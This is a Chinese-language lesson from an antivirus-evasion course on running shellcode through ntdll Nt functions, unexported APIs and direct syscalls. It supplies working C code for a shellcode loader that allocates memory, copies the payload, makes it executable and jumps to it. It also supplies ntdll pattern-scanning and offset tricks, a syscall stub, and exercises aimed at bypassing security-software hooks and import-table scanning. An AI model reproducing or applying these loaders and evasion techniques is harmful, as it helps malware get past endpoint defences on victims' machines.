免杀专题
3、未导出API执行ShellCode
1. 课程概述
1.1 学习目标
通过本课时的学习,你将掌握:
- 理解Windows导出表与未导出API的区别
- 掌握动态获取未导出API地址的方法
- 学会使用未导出API执行ShellCode
- 理解如何绕过导入表检测
1.2 前置知识
- PE文件结构基础
- Windows API调用机制
- 内存操作基础
2. 名词解释
2.1 核心术语
| 术语 | 英文 | 说明 |
|---|---|---|
| 导出API | Exported API | 在DLL导出表中公开的函数,可通过GetProcAddress获取 |
| 未导出API | Unexported/Private API | 未在导出表中公开的内部函数 |
| IAT | Import Address Table | 导入地址表,存储程序使用的外部函数地址 |
| EAT | Export Address Table | 导出地址表,DLL导出的函数列表 |
| Ntdll.dll | NT层DLL | Windows最底层的用户态DLL,包含系统调用接口 |
| Syscall | 系统调用 | 从用户态进入内核态的机制 |
2.2 API调用层次
应用程序
↓
kernel32.dll (CreateFile, VirtualAlloc...)
↓
kernelbase.dll (实际实现)
↓
ntdll.dll (NtCreateFile, NtAllocateVirtualMemory...)
↓
syscall (进入内核)
↓
Windows内核
2.3 为什么使用未导出API
- 绕过IAT Hook:安全软件通常Hook导出API
- 绕过导入表检测:不在导入表中留下痕迹
- 调用更底层的功能:绕过高层安全检查
3. 必备工具
| 工具 | 用途 | 下载地址 |
|---|---|---|
| IDA Pro/Ghidra | 分析DLL找到未导出函数 | - |
| WinDbg | 调试并查找函数地址 | Microsoft官网 |
| x64dbg | 动态调试 | https://x64dbg.com/ |
| PE-bear/CFF Explorer | PE文件分析 | - |
| API Monitor | 监控API调用 | http://www.rohitab.com/apimonitor |
4. 技术原理
4.1 导出API vs 未导出API
| 特性 | 导出API | 未导出API |
|---|---|---|
| 在导出表中 | ✔ | ✘ |
| GetProcAddress可获取 | ✔ | ✘ |
| 文档说明 | 通常有 | 通常无 |
| 稳定性 | 相对稳定 | 可能随版本变化 |
| 检测风险 | 较高 | 较低 |
4.2 获取未导出API的方法
- 特征码搜索:在内存中搜索函数特征
- 偏移计算:基于已知函数计算偏移
- 符号文件:通过调试符号查找
- 硬编码偏移:针对特定版本的固定偏移
5. 实现代码
5.1 方法1:特征码搜索
#include <windows.h>
#include <stdio.h>
// 在内存中搜索特征码
PVOID SearchPattern(PVOID pStart, SIZE_T size, PBYTE pattern, SIZE_T patternLen) {
PBYTE pCurrent = (PBYTE)pStart;
PBYTE pEnd = pCurrent + size - patternLen;
while (pCurrent <= pEnd) {
BOOL found = TRUE;
for (SIZE_T i = 0; i < patternLen; i++) {
if (pattern[i] != 0xCC && pCurrent[i] != pattern[i]) {
found = FALSE;
break;
}
}
if (found) return pCurrent;
pCurrent++;
}
return NULL;
}
// 获取ntdll.dll中的未导出函数
PVOID GetUnexportedFunction(LPCSTR szFunctionPattern, SIZE_T patternLen) {
// 获取ntdll基址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return NULL;
// 获取模块信息
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hNtdll + pDos->e_lfanew);
// 获取代码段
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)pSection[i].Name, ".text") == 0) {
PVOID pCode = (PBYTE)hNtdll + pSection[i].VirtualAddress;
SIZE_T codeSize = pSection[i].Misc.VirtualSize;
return SearchPattern(pCode, codeSize,
(PBYTE)szFunctionPattern, patternLen);
}
}
return NULL;
}
int main() {
printf("[*] Searching for unexported function...\n");
// 示例:搜索某个函数的特征字节
// 这里需要根据实际函数填写
BYTE pattern[] = { 0x4C, 0x8B, 0xD1, 0xB8 }; // 示例特征
PVOID pFunc = GetUnexportedFunction((LPCSTR)pattern, sizeof(pattern));
if (pFunc) {
printf("[+] Found function at: 0x%p\n", pFunc);
} else {
printf("[-] Function not found\n");
}
return 0;
}
5.2 方法2:基于导出函数偏移
#include <windows.h>
#include <stdio.h>
// 通过已知导出函数计算未导出函数地址
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
PVOID GetNtFunctionByOffset(LPCSTR szKnownFunc, LONG offset) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return NULL;
PVOID pKnown = GetProcAddress(hNtdll, szKnownFunc);
if (!pKnown) return NULL;
return (PBYTE)pKnown + offset;
}
int main() {
printf("[*] Getting unexported function by offset...\n");
// 示例:假设目标函数在NtAllocateVirtualMemory后0x100字节
// 实际偏移需要通过逆向分析确定
PVOID pUnexported = GetNtFunctionByOffset("NtAllocateVirtualMemory", 0x100);
printf("[*] Unexported function at: 0x%p\n", pUnexported);
return 0;
}
5.3 方法3:动态解析符号
#include <windows.h>
#include <dbghelp.h>
#include <stdio.h>
#pragma comment(lib, "dbghelp.lib")
PVOID GetFunctionBySymbol(LPCSTR szModule, LPCSTR szFunction) {
HANDLE hProcess = GetCurrentProcess();
// 初始化符号处理
SymInitialize(hProcess, NULL, TRUE);
// 获取模块基址
HMODULE hModule = GetModuleHandleA(szModule);
if (!hModule) {
printf("[-] Module not found\n");
return NULL;
}
// 查找符号
SYMBOL_INFO symbol = { 0 };
symbol.SizeOfStruct = sizeof(SYMBOL_INFO);
if (SymFromName(hProcess, szFunction, &symbol)) {
printf("[+] Found %s at: 0x%llx\n", szFunction, symbol.Address);
SymCleanup(hProcess);
return (PVOID)symbol.Address;
}
printf("[-] Symbol not found\n");
SymCleanup(hProcess);
return NULL;
}
int main() {
PVOID pFunc = GetFunctionBySymbol("ntdll.dll", "RtlpAllocateHeap");
return 0;
}
6. 实战:使用未导出API执行ShellCode
6.1 使用NtAllocateVirtualMemory
#include <windows.h>
#include <stdio.h>
// 定义Nt函数类型
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
// ShellCode示例 (x64 MessageBox)
unsigned char shellcode[] = {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0x48, 0x31, 0xC9, // xor rcx, rcx
0x48, 0x31, 0xD2, // xor rdx, rdx
0x4D, 0x31, 0xC0, // xor r8, r8
0x4D, 0x31, 0xC9, // xor r9, r9
// ... 省略实际ShellCode ...
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3 // ret
};
int main() {
printf("========== Unexported API ShellCode Execution ==========\n");
// 动态获取Nt函数
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtAllocateVirtualMemory NtAllocateVirtualMemory =
(pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
pNtProtectVirtualMemory NtProtectVirtualMemory =
(pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
if (!NtAllocateVirtualMemory || !NtProtectVirtualMemory) {
printf("[-] Failed to get Nt functions\n");
return 1;
}
printf("[+] NtAllocateVirtualMemory: 0x%p\n", NtAllocateVirtualMemory);
printf("[+] NtProtectVirtualMemory: 0x%p\n", NtProtectVirtualMemory);
// 分配内存
PVOID pMemory = NULL;
SIZE_T size = sizeof(shellcode);
NTSTATUS status = NtAllocateVirtualMemory(
GetCurrentProcess(),
&pMemory,
0,
&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (status != 0) {
printf("[-] NtAllocateVirtualMemory failed: 0x%X\n", status);
return 1;
}
printf("[+] Memory allocated at: 0x%p\n", pMemory);
// 复制ShellCode
memcpy(pMemory, shellcode, sizeof(shellcode));
// 修改内存属性为可执行
ULONG oldProtect;
SIZE_T regionSize = sizeof(shellcode);
status = NtProtectVirtualMemory(
GetCurrentProcess(),
&pMemory,
®ionSize,
PAGE_EXECUTE_READ,
&oldProtect
);
if (status != 0) {
printf("[-] NtProtectVirtualMemory failed: 0x%X\n", status);
return 1;
}
printf("[+] Memory protection changed to EXECUTE_READ\n");
// 执行ShellCode
printf("[*] Executing ShellCode...\n");
((void(*)())pMemory)();
return 0;
}
6.2 直接Syscall调用(跳过ntdll)
#include <windows.h>
#include <stdio.h>
// x64 Syscall定义
extern "C" NTSTATUS NtAllocateVirtualMemorySyscall(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// 汇编实现 (syscall.asm)
/*
.code
NtAllocateVirtualMemorySyscall proc
mov r10, rcx
mov eax, 18h ; Windows 10 syscall number
syscall
ret
NtAllocateVirtualMemorySyscall endp
end
*/
// 内联汇编版本 (MSVC x64不支持内联汇编)
// 需要单独的.asm文件
7. 免杀应用场景
7.1 绕过API Hook
常规调用路径 (容易被Hook):
VirtualAlloc -> kernel32!VirtualAlloc [HOOK] -> ntdll!NtAllocateVirtualMemory
绕过Hook的路径:
直接调用 -> ntdll!NtAllocateVirtualMemory (GetProcAddress获取)
更彻底的绕过:
直接syscall (跳过ntdll)
7.2 绕过导入表检测
当使用GetProcAddress动态获取函数时,不会在程序的导入表中留下记录,让静态分析更困难。
8. 编译与测试
8.1 编译命令
# MSVC
cl.exe /EHsc unexported.cpp /Fe:unexported.exe
# 带符号支持
cl.exe /EHsc /Zi unexported.cpp dbghelp.lib /Fe:unexported.exe
8.2 测试步骤
- 运行程序确认函数地址获取成功
- 使用x64dbg验证地址正确性
- 使用API Monitor确认没有调用高层API
9. 课后作业
9.1 基础练习
- 使用GetProcAddress获取NtWriteVirtualMemory地址
- 使用Nt函数实现内存分配和ShellCode执行
9.2 进阶练习
- 实现特征码搜索获取未导出函数
- 尝试编写直接syscall调用
9.3 思考题
- 安全软件如何检测直接syscall调用?
- 未导出API的稳定性问题如何解决?
10. 下一课预告
下一课我们将学习**“遍历内存块执行ShellCode”**,通过遍历进程内存寻找可执行区域。